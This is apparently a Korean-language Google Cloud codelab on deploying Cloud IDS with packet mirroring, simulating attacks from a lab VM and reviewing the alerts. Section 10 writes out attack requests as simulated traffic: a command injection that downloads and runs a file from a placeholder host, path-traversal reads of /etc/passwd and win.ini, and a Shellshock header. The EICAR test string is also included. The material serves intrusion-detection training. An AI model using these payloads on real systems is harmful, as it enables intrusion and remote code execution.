Cloud IDS

1. 소개

이 실습에서는 침입, 멀웨어, 스파이웨어, 명령 및 제어 공격에 대한 위협 감지를 제공하는 차세대 고급 침입 감지 서비스인 Cloud IDS를 배포합니다. Cloud 콘솔에서 여러 공격을 시뮬레이션하고 위협 세부정보를 확인합니다.

학습할 내용

  • Cloud IDS 엔드포인트를 만드는 방법
  • gcloud 명령어로 가상 머신 2개를 만드는 방법
  • 패킷 미러링 정책을 만드는 방법
  • 가상 머신의 공격 트래픽을 시뮬레이션하는 방법
  • Cloud 콘솔 및 Cloud Logging에서 위협 세부정보를 보는 방법

필요한 항목

  • 기본 Linux 명령어에 관한 지식

2. Cloud IDS 사용 사례

Cloud IDS는 고객이 PCI 11.4와 같은 고급 위협 감지 및 규정 준수 요구사항을 충족할 수 있도록 Google Cloud 기반의 차세대 침입 감지 서비스 (IDS)를 제공합니다. 이 서비스는 Palo Alto Networks의 위협 방어 기술을 기반으로 하여 지능형 침입 탐지 기능을 제공합니다. Google Cloud의 세계적 수준의 인프라를 Palo Alto Networks의 세계 최고 수준의 보안과 결합하여 고객에게 완전 관리형, 고성능, 최고 수준의 보안 효율성 고급 위협 감지 서비스를 제공합니다.

클라우드로 마이그레이션하는 고객은 보안을 가장 중요하게 생각합니다. 고객은 클라우드의 침입 감지 서비스 (IDS)처럼 온프렘에 있는 것과 유사한 보안 제어 기능을 갖추고자 합니다. 이들은 서드파티 보안 솔루션을 설치하고 인프라를 관리하거나 자체 시그니처를 가져오는 것보다 용이한 설치, 고성능, 최적화된 비용을 위해 클라우드 기반의 관리형 IDS 솔루션을 사용하는 것을 적극 선호합니다. Google Cloud IDS는 엔드 투 엔드 자동 확장 관리형 IDS 서비스를 제공하여 고객이 위협을 분석하고 완화하는 데 시간을 할애할 수 있도록 하고 인프라 또는 위협 서명을 관리하는 데 시간과 리소스를 확보할 수 있도록 합니다.

Cloud IDS는 대역 외로 배포되어 위협을 감지하고 알림을 제공할 수 있지만 위협을 차단할 수는 없습니다. Google Cloud 패킷 미러링을 활용하여 네트워크 트래픽의 사본을 만들고 Palo Alto Network 위협 감지 엔진을 사용하여 분석합니다.

3. Codelab 토폴로지

5a276f399e1d31e2.png

그림 1. 이 실습에서는 Cloud IDS 배포에 관한 개략적인 아키텍처 개요입니다.

4. 설정 및 요구사항

자습형 환경 설정

  1. Google Cloud Console에 로그인하여 새 프로젝트를 만들거나 기존 프로젝트를 재사용합니다. 아직 Gmail이나 Google Workspace 계정이 없는 경우 계정을 만들어야 합니다.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • 프로젝트 이름은 이 프로젝트 참가자의 표시 이름입니다. 이는 Google API에서 사용하지 않는 문자열이며 언제든지 업데이트할 수 있습니다.
  • 프로젝트 ID는 모든 Google Cloud 프로젝트에서 고유해야 하며, 변경할 수 없습니다(설정된 후에는 변경할 수 없음). Cloud Console은 고유한 문자열을 자동으로 생성합니다. 일반적으로 신경 쓰지 않아도 됩니다. 대부분의 Codelab에서는 프로젝트 ID를 참조해야 하며(일반적으로 PROJECT_ID로 식별됨), 마음에 들지 않는 경우 임의로 다시 생성하거나 직접 지정해서 사용할 수 있는지 확인하세요. 프로젝트가 생성되면 프로젝트 ID가 '고정'됩니다.
  • 세 번째 값은 일부 API에서 사용하는 프로젝트 번호입니다. 이 세 가지 값에 대한 자세한 내용은 문서를 참조하세요.
  1. 다음으로 Cloud 리소스/API를 사용하려면 Cloud Console에서 결제를 사용 설정해야 합니다. 이 Codelab 실행에는 많은 비용이 들지 않습니다. 이 튜토리얼을 마친 후 비용이 결제되지 않도록 리소스를 종료하려면 Codelab의 끝에 있는 '삭제' 안내를 따르세요. Google Cloud 새 사용자에게는 미화 $300 상당의 무료 체험판 프로그램에 참여할 수 있는 자격이 부여됩니다.

Cloud Shell 시작

Google Cloud를 노트북에서 원격으로 실행할 수 있지만, 이 Codelab에서는 Cloud에서 실행되는 명령줄 환경인 Google Cloud Shell을 사용합니다.

GCP 콘솔에서 오른쪽 상단 툴바의 Cloud Shell 아이콘을 클릭합니다.

bce75f34b2c53987.png

환경을 프로비저닝하고 연결하는 데 몇 분 정도 소요됩니다. 완료되면 다음과 같이 표시됩니다.

f6ef2b5f13479f3a.png

가상 머신에는 필요한 개발 도구가 모두 들어있습니다. 영구적인 5GB 홈 디렉토리를 제공하고 Google Cloud에서 실행되므로 네트워크 성능과 인증이 크게 개선됩니다. 이 실습의 모든 작업은 브라우저만으로 수행할 수 있습니다.

5. 시작하기 전에

API 사용 설정

Cloud Shell 내에서 프로젝트 ID가 설정되어 있는지 확인합니다.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

필요한 모든 서비스 사용 설정

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC 네트워크 만들기

VPC 네트워크

Cloud Shell 사용

gcloud compute networks create cloud-ids \
--subnet-mode=custom

서브넷

Cloud Shell 사용

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

비공개 서비스 액세스

Cloud Shell 사용

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service 연결

Cloud Shell 사용

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

방화벽 규칙

IAP에서 VM 인스턴스에 연결할 수 있도록 허용하려면 다음과 같은 방화벽 규칙을 만듭니다.

  • IAP를 사용하여 액세스할 수 있도록 하려는 모든 VM 인스턴스에 적용됩니다.
  • IP 범위 35.235.240.0/20에서 들어오는 인그레스 트래픽을 허용합니다. 이 범위에는 IAP가 TCP 전달에 사용하는 모든 IP 주소가 포함됩니다.

Cloud Shell 사용

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

표준 HTTP 포트 (TCP 80) 및 ICMP 프로토콜을 서버에 허용하려면 다음 단계를 따르세요.

  • 네트워크 태그가 'server'인 리소스에 적용
  • 모든 소스에서의 인그레스 허용

Cloud Shell 사용

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT 인스턴스 만들기

Cloud Router

Cloud Shell 사용

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Cloud Shell 사용

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS 엔드포인트 만들기

이 섹션에서는 심각도가 정보용으로 설정된 Cloud IDS 엔드포인트를 us-east1에 만듭니다. IDS 엔드포인트를 만드는 데 약 20분이 소요됩니다.

IDS 엔드포인트

Cloud Shell 사용

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Cloud IDS 엔드포인트가 시작되었는지 확인

gcloud ids endpoints list --project=$PROJECT_ID

출력 -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 가상 머신 2개 만들기

이 섹션에서는 2개의 가상 머신을 만듭니다. 첫 번째는 Cloud IDS에 미러링되는 웹 서버입니다. 두 번째 가상 머신이 공격 트래픽 소스가 됩니다.

가상 머신 1 (서버)

Cloud Shell 사용

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

가상 머신 2 (클라이언트)

Cloud Shell 사용

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. 서버 준비 중

이 작업에서는 서버의 유효성을 검사하고 클라이언트에 정상 멀웨어 페이로드를 제공합니다.

Cloud Shell을 통해 SSH를 통해 VM에 연결

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

웹 서비스가 실행 중인지 확인

sudo systemctl status nginx

출력 - 활성 및 실행 중 확인

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

디렉터리를 웹 서비스로 변경

cd /var/www/html/

웹 서버에 정상 악성코드 파일 생성

sudo touch eicar.file

내용 붙여넣기

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

CloudShell으로 돌아가기

exit

Cloud IDS 패킷 미러링 정책 만들기

IDS 엔드포인트 전달 규칙을 식별하고 IDS 엔드포인트 상태가 'READY'인지 확인합니다.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

출력 예 - 'endpoint 배치Rule'에서 값 복사

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

IDS 엔드포인트 전달 규칙을 변수에 저장합니다.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

패킷 미러링 정책

Cloud Shell 사용

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

패킷 미러링 정책이 생성되었는지 확인

Cloud Shell 사용

gcloud compute packet-mirrorings list

출력

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. 공격 트래픽 시뮬레이션

SSH를 통해 공격자의 가상 머신에 접속 (클라이언트)

Cloud Shell 사용

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

다음 curl 요청을 실행하여 악성 트래픽을 시뮬레이션합니다.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

VM을 종료하여 CloudShell으로 돌아갑니다.

exit

11. Cloud IDS에서 감지한 위협 검토

Cloud IDS 대시보드로 이동

탐색 메뉴 > 네트워크 보안 > Cloud IDS

37583419aa604aa8.png

위협 탭으로 이동합니다.

b7d934f409b4e2b.png

보시다시피 Cloud IDS는 다양한 공격 트래픽 프로필을 캡처하고 각 위협에 대한 세부 정보를 제공했습니다. '새로고침'을 클릭해야 할 수도 있습니다 버튼을 클릭하여 위협이 표시되지 않게 할 수 있습니다. 이제 좀 더 자세히 살펴보고 위협 세부정보를 살펴보겠습니다.

'Bash 원격 코드 실행 취약점' 찾기 오른쪽에 있는 세 개의 점을 클릭하고 "위협 세부 정보 보기"를

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

이제 Cloud Logging에서 이 이슈의 세부정보를 확인하겠습니다. 왼쪽 화살표 를 클릭하여 위협 페이지로 돌아갑니다 .

오른쪽에 있는 3개의 점을 클릭하고 "위협 로그 보기"를 선택합니다

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

동일한 세부정보가 Cloud Logging에도 제공됩니다. 이렇게 하면 Cloud Storage, Chronicle 또는 모든 SIEM/SOAR에 로그를 보낼 수 있습니다. 또한 경보 등을 기반으로 복구 조치를 취할 수 있도록 맞춤형 워크플로우를 생성할 수 있습니다. 알림에서 트리거되고 IP 주소를 차단하는 방화벽 규칙을 생성/업데이트하거나 Cloud Armor 정책을 생성/업데이트하는 Cloud 함수를 생성합니다.

12. 삭제 단계

VM 인스턴스에서 종료 (모든 탭)

exit

단일 Cloud Shell 터미널에서 실습 구성요소 삭제

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. 축하합니다.

축하합니다. Codelab을 완료했습니다.

학습한 내용

  • Cloud IDS 사용 사례
  • 네트워크 요구사항
  • 지원되는 API
  • Cloud IDS 엔드포인트 생성됨
  • VM 2개 배포됨
  • '공격'을 생성함 클라이언트의 트래픽
  • IDS에서 확인된 위협 감지
  • 위협 세부정보 및 로그 검토